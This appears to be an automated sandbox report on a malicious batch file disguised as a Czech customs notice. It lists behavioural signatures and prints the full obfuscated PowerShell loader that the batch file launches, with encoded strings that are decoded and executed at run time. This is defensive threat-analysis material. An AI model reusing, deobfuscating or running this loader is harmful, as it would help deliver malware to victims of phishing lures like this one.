Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/07/2026, 12:52
General
- Target Celní úřad – 25CZ500000027QHLB0.bat
- Size 3KB
- Sample260724-p4js5sem6z
- SHA256 7244781cf5a2d7969f2fac273eb78f0eb7b9f4fa885b4510a592c27e3342614c
Malware Config
Signatures
- Badlisted process makes network request 15 IoCs
Network request originating from process or tool commonly abused by malware.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Celní úřad – 25CZ500000027QHLB0.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "function qwezxc { $rejf184 = (Get-Date); return $rejf184}[System.Console]::Title = 'xyz';$unrepo=-23328+23328;$equivalv=-27741+33741;[void](Get-Date);function cotena ($barnefaronis,$barnef) {$nutritionh=klevaresta(@(106,209,211,222,207,204,217,195,184,222,224,213,212,148,213,218,181,225,154,144,195,200,229,208,171,213,155)) ;Rygsvm ($nutritionh)}$nonsobr = (Get-Location) | Out-File 'tmp.txt';function klevaresta ($semiotikhe,$kimono5=64) { [void](Get-ChildItem -Path 'C:\' -ErrorAction SilentlyContinue);do {$equivalv=$unrepo%8;$semiotikhe[$unrepo]-=$tvrve[$equivalv];$equivalv=[char]$semiotikhe[$unrepo];$pharaoh+=$equivalv;$unrepo++} while ($semiotikhe[$unrepo])$pharaoh}function Rygsvm ($pearleye) {$exterocept = 'abc' | Out-File 'tmp.txt';&($folketings) $pearleye}Function Rabarberma ($semiotikhe,$rige=0){[void](Get-Item -Path 'C:\' -ErrorAction SilentlyContinue);$betwixtpo=klevaresta(@(161,178,225,218,215,204,229,214,163,169,172,178,211,214,224,164,167,226,215,162,149,186,231,212,175,221,217,148,133,218,216,207,175,222,230,213,204,207,216,139));$alarmt=@(Rygsvm ($betwixtpo));For($flywireb=0; $alarmt[$flywireb] -ne $formast; $flywireb++){$alarmt[$flywireb] = cotena $alarmt[$flywireb] $tvrve[$flywireb%8]}$lejek=klevaresta(@(115,217,225,213,207,135,206,197,174,208,228,199,190,196,151,195,178,208,228,217,213));$tinge=Rygsvm ($lejek);if ($rige) { Rygsvm $tinge}else {;$tinge}}$tvrve=@(70,111,114,108,97,103,115,98);$folketings=klevaresta @(143,180,202);$barnefaronisnse='\Ekspon.Inh';$gaasefj=Rabarberma 'c0FCTEkwGgwiAAUfQSknQndfXFxaRyQLKFlGV0EfRVZ9TwAaW1ZGUGhfW0wmAhAJKUBAXFBXQ1N2XlIqCBUWBCkXXV1UVV1S';$regnbuekob=Rabarberma 'LhsGHFtIXAopGxcACRIdBTQWXA8OClwKKRsXAAkSHQU0Fl0tCAkSBCMdBgUNSRIBJw==';$milji=Rabarberma 'CxwKAQ1VXTEjHQQJEz8+Lg47JjxPUV1S';$ring = (Get-Random);$quan=Rabarberma 'ASom';$flywirebnfluen=Rabarberma 'ExwXHkwmFAcoGw==';$barnefaronistommass=Rabarberma 'eA==';Rabarberma 'YggeAwMGH1g0ChUCBBMAATMDQ19ZWlcHKBlIDREXFwMyDllIAwYBDCMJEx4OCRoRKBwX' 1;Rabarberma 'YggeAwMGH1ghDgANBgIBByMdT0gTAhQMJBoXBw4FXRE2AxsYSUMRAzQBFwoAFRwMLxwGAwwKEhE1Rg==' 1;$regnbuekob=$garagereer[0];Rabarberma 'YggeAwMGH1grCgYeDgYXVndSPAkWSjwALAoRGEFKMA0rT1YBCAsZCw==' 1;Rabarberma 'YggeAwMGH1gvAgIeDhEaEXtHJgkSE14yJxsaTEUVFgUoCgYfAhIfU3VXWw==' 1;while (!$improvis) {Rabarberma 'YggeAwMGH1gWAxMCEhMKU39bT0gVFQYH' 1;Rabarberma 'YgIXGBMIEgZyXlwDEQIdSmIeBw0PS1NGNAoVAgMSFgkpDV5MRQESDjUKWw==' 1;Rabarberma 'YgIXGBMIEgZyXlwfBBMhBzcaFx8VLxYDIgoAREUBHxsxBgAJAwkVDjMKHEBBQxQDJxwXCgtO' 1;Rabarberma 'YgIXGBMIEgZyXlwfBAkXSm8=' 1;Rabarberma 'YggeAwMGH1g1BBMOBBUHX2ICFxgTCBIGcl5cHxUGBxc1T18JEEdBUnY=' 1;if ($skabert) {Rabarberma 'HQ0LGAQ8Lj9iCB4DAwYfWC0DGx8VAgESe0sfCRUVHAMiW0NCEwIAEikBAQkjCBcb' 1;Rabarberma 'NQxSSBMCFAwjGwEPFAtCUX5PVgcNDgAWIx0CTEwiHQEpCxsCBkcxGzIK' 1} Rabarberma 'FQMXCRFPR0s=' 1;Rabarberma 'YggeAwMGH1gvAgIeDhEaEXtHJgkSE14yJxsaTEUVFgUoCgYfAhIfU3VXWw==' 1 ;Rabarberma 'YggeAwMGH1grABsfFVpXBSoAEA0NXRsNKgMbHARMWEdiCBMeAAAWECMKAEICCAYMMg==' 1;$regnbuekob=$garagereer[$moist]}$barnefelnnes=143742;$outfaw=15209;Rabarberma 'YggeAwMGH1giDgYNXAAQQmIdFwsPAgcRJRoeXVJf' 1;Rabarberma 'YggeAwMGH1gLDgsPDgQYC3s0MQMPERYQMjJIVicVHA8EDgEJV1MgFjQGHAtJQxcDMg5b' 1;Rabarberma 'YggeAwMGH1g2GgEfFQ4fEXs0JgkZE10nKAwdCAgJFD98VTM/Ii46TAEKBj8VFRoMIUdWIQAeEA0lBBtF' 1;Rabarberma 'YggeAwMGH1gvGxMAXEMDFzUcBgUNFF0RMw0BGBMOHQVuSxANEwkWBCMDHAIEFF9GKRoGCgAQWg==' 1;Rygsvm $ital;function mnblkj { $flywirebndt = (Get-Random); return $flywirebndt};#unva Stru Fldendes EftIEXr Benz ;"2⤵
- Badlisted process makes network request
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1148-34-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-4-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-5-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-6-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-7-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-10-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-11-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-22-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-0-0x00007FFFF237F000-0x00007FFFF2380000-memory.dmp
memory/1148-30-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-51-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-48-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-36-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-53-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-56-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-59-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-1-0x000001F44FCB0000-0x000001F44FCD2000-memory.dmp
memory/1148-601-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-602-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp
memory/1148-603-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp